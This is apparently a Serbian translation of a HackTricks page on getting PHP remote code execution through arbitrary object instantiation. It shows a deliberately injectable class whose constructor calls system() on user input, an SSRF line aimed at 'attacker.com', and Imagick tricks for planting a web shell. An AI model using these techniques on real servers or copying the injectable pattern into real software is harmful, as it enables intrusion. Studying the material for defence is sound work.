PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])

Podrška HackTricks

Ovo je u suštini sažetak https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/

Uvod

Kreiranje novih proizvoljnih objekata, kao što je new $_GET["a"]($_GET["a"]), može dovesti do Remote Code Execution (RCE), kako je detaljno opisano u writeup-u. Ovaj dokument ističe različite strategije za postizanje RCE.

RCE putem prilagođenih klasa ili automatskog učitavanja

Sintaksa new $a($b) se koristi za instanciranje objekta gde $a predstavlja ime klase, a $b je prvi argument prosleđen konstruktoru. Ove promenljive mogu biti dobijene iz korisničkih unosa kao što su GET/POST, gde mogu biti stringovi ili nizovi, ili iz JSON-a, gde se mogu pojaviti kao druge vrste.

Razmotrite kod ispod:

class App {
function __construct ($cmd) {
system($cmd);
}
}

class App2 {
function App2 ($cmd) {
system($cmd);
}
}

$a = $_GET['a'];
$b = $_GET['b'];

new $a($b);

U ovom slučaju, postavljanje $a na App ili App2 i $b na sistemsku komandu (npr., uname -a) rezultira izvršavanjem te komande.

Autoloading funkcije mogu biti iskorišćene ako takve klase nisu direktno dostupne. Ove funkcije automatski učitavaju klase iz fajlova kada su potrebne i definišu se koristeći spl_autoload_register ili __autoload:

spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});

function __autoload($class_name) {
include $class_name . '.php';
};

spl_autoload_register();

Ponašanje automatskog učitavanja varira sa verzijama PHP-a, nudeći različite RCE mogućnosti.

RCE putem ugrađenih klasa

U nedostatku prilagođenih klasa ili automatskih učitavača, ugrađene PHP klase mogu biti dovoljne za RCE. Broj ovih klasa kreće se između 100 i 200, u zavisnosti od verzije PHP-a i ekstenzija. Mogu se nabrojati koristeći get_declared_classes().

Konstruktori od interesa mogu se identifikovati putem refleksije API-ja, kao što je prikazano u sledećem primeru i linku https://3v4l.org/2JEGF.

RCE putem specifičnih metoda uključuje:

SSRF + Phar deserializacija

Klasa SplFileObject omogućava SSRF kroz svoj konstruktor, omogućavajući veze sa bilo kojim URL-om:

new SplFileObject('http://attacker.com/');

SSRF može dovesti do napada deserializacije u verzijama PHP-a pre 8.0 koristeći Phar protokol.

Iskorišćavanje PDO-a

Konstruktor klase PDO omogućava povezivanje sa bazama podataka putem DSN stringova, potencijalno omogućavajući kreiranje fajlova ili druge interakcije:

new PDO("sqlite:/tmp/test.txt")

SoapClient/SimpleXMLElement XXE

Verzije PHP-a do 5.3.22 i 5.4.12 bile su podložne XXE napadima putem SoapClient i SimpleXMLElement konstruktora, u zavisnosti od verzije libxml2.

RCE putem Imagick ekstenzije

U analizi zavisnosti projekta, otkriveno je da se Imagick može iskoristiti za izvršavanje komandi instanciranjem novih objekata. Ovo predstavlja priliku za iskorišćavanje ranjivosti.

VID parser

Identifikovana je sposobnost VID parsera da piše sadržaj na bilo koju određenu putanju u datotečnom sistemu. To može dovesti do postavljanja PHP shelle u direktorijum koji je dostupan putem veba, ostvarujući Remote Code Execution (RCE).

VID Parser + Upload fajlova

Napomenuto je da PHP privremeno skladišti otpremljene fajlove u /tmp/phpXXXXXX. VID parser u Imagick-u, koristeći msl protokol, može obraditi džoker znakove u putanjama fajlova, olakšavajući prenos privremenog fajla na odabrano mesto. Ova metoda nudi dodatni pristup za postizanje proizvoljnog pisanja fajlova unutar datotečnog sistema.

PHP Crash + Brute Force

Metoda opisana u originalnom izveštaju uključuje otpremanje fajlova koji izazivaju pad servera pre brisanja. Primenom brute force-a na ime privremenog fajla, postaje moguće da Imagick izvrši proizvoljan PHP kod. Međutim, ova tehnika se pokazala efikasnom samo u zastareloj verziji ImageMagick-a.

Reference

Support HackTricks

Last updated